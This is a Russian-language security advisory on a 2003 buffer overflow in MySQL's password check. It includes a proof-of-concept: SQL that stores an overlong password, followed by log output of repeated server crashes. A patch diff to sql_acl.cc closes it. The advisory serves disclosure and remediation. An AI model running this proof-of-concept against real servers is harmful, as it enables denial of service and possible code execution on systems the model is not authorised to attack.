Security Lab

Удаленное переполнение буфера в MySQL базе данных

Дата публикации:11.09.2003
Всего просмотров:2252
Опасность:
Низкая
Наличие исправления: Да
Количество уязвимостей:1
CVE ID: Нет данных
Вектор эксплуатации: Локальная
Воздействие: Повышение привилегий
CWE ID: Нет данных
Наличие эксплоита: Нет данных
Уязвимые продукты: MySQL 3.x
MySQL 4.x

Уязвимые версии: MySQL 3.0.х до 3.0.57 и MySQL 4.0.х до 4.0.14

Описание: Переполнение буфера обнаружено в MySQL. Удаленный атакующий может выполнить произвольный код на уязвимой системе.

Переполнение буфера обнаружено в функции проверки пароля. Удаленный атакующий, имеющий административные привилегии на MySQL сервере, может представить специально обработанное значение поля "Password", длиннее 16 символов, чтобы вызвать переполнение буфера и выполнить произвольный код с привилегиями MySQL базы данных. На большинстве Linux систем, адрес возврата можно перезаписать на 444 байта.

Пример/Эксплоит:

USE mysql;
  > ALTER TABLE User CHANGE COLUMN Password Password LONGTEXT;
  > UPDATE User SET Password =
'123456781234567812345678123456781234567812345678123456781234567812345678
 123456781234567812345678123456781234567812345678123456781234567812345678
 123456781234567812345678123456781234567812345678123456781234567812345678
 12345678123456781234567812345678...' WHERE User = 'abcd';
  > FLUSH PRIVILEGES;

[Connection lost]
  
  mysqld_safe/safe_mysqld log :
  
030806 21:05:43  mysqld restarted
030806 21:05:43  mysqld restarted
030806 21:05:43  mysqld restarted
030806 21:05:43  mysqld restarted

  MySQL log : tons of

mysqld got signal 11;

URL производителя:http://www.mysql.com

Решение:

Установите обновленную версию программы или примените следующий патч:
--- mysql-4.0.14-old/sql/sql_acl.cc 2003-07-18 16:57:25.000000000 +0200
+++ mysql-4.0.14/sql/sql_acl.cc 2003-09-10 23:21:13.559759576 +0200
@@ -233,7 +233,7 @@
        "Found old style password for user '%s'. Ignoring user. (You may want to 
restart mysqld using --old-protocol)",
        user.user ? user.user : ""); /* purecov: tested */
     }
-    else if (length % 8) // This holds true for passwords
+    else if (length % 8 || length > 16) // This holds true for passwords
     {
       sql_print_error(
        "Found invalid password for user: '%s@%s'; Ignoring user",
Ссылки: Buffer overflow in MySQL